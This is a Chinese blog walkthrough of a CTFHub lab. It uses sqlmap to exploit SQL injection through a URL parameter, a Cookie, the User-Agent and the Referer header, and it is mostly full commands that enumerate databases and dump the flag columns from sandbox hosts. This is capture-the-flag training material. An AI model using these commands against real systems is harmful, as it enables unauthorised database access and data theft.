sqlmap使用:ctfhub靶场查询SQL注入+查询Cookie注入+查询UA注入+Refer注入

一、ctfhub靶场查询SQL注入

1.在ctfhub靶场测试sql注入

 2.以上注入都是flag表,flag字段,最后提交的为flag字段里面的内容

3. 存在SQL注入

 4.已知数据库,表,字段,直接使用语句

 python sqlmap.py -u http://challenge-fb5fd3a370bee491.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

二、查询Cookie的SQL注入

 1.登入网站

 2.brup抓包

 3.创建文档,粘贴抓到的包

 4.给cookie添加 * ,指定查询该位置是否有SQL注入

 5.sqlmap查询是否存在SQL注入(也可以使用level -2)

 6.存在SQL注入

 7.查询数据

(1)查询数据库

python sqlmap.py -r C:\Users\南倾\Desktop\123.txt --dbs

(2)查询表

python sqlmap.py -r C:\Users\南倾\Desktop\123.txt -D sqli --tables

(3)查询表中的字段

python sqlmap.py -r C:\Users\南倾\Desktop\123.txt -D sqli -T rnfsjjhfwr --columns

(4)查询字段的内容 

python sqlmap.py -r C:\Users\南倾\Desktop\123.txt -D sqli -T rnfsjjhfwr -C syfgashivy --dump

8.提交flag

 三、查询UA注入

使用level 3

python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3

 python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 --dbs

 python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 -D sqli --tables

python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 -D sqli -T  suigzvbmzy --columns

 python sqlmap.py -u http://challenge-edfa242f9ea40435.sandbox.ctfhub.com:10800 -level 3 -D sqli -T  suigzvbmzy -C qenrtsitoa --dump

四、Refer注入

python sqlmap.py -u http://challenge-4b50bf1e554f8e79.sandbox.ctfhub.com:10800 -level 3

python sqlmap.py -u http://challenge-4b50bf1e554f8e79.sandbox.ctfhub.com:10800 -level 3 --dbs 

 python sqlmap.py -u http://challenge-4b50bf1e554f8e79.sandbox.ctfhub.com:10800 -level 3 -D sqli --tables

python sqlmap.py -u http://challenge-8034e37eb0d94c95.sandbox.ctfhub.com:10800 -level 3 -D sqli -T ayvupotdny --columns

python sqlmap.py -u http://challenge-8034e37eb0d94c95.sandbox.ctfhub.com:10800 -level 3 -D sqli -T ayvupotdny -C fhraxdpwyt --dump

 

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值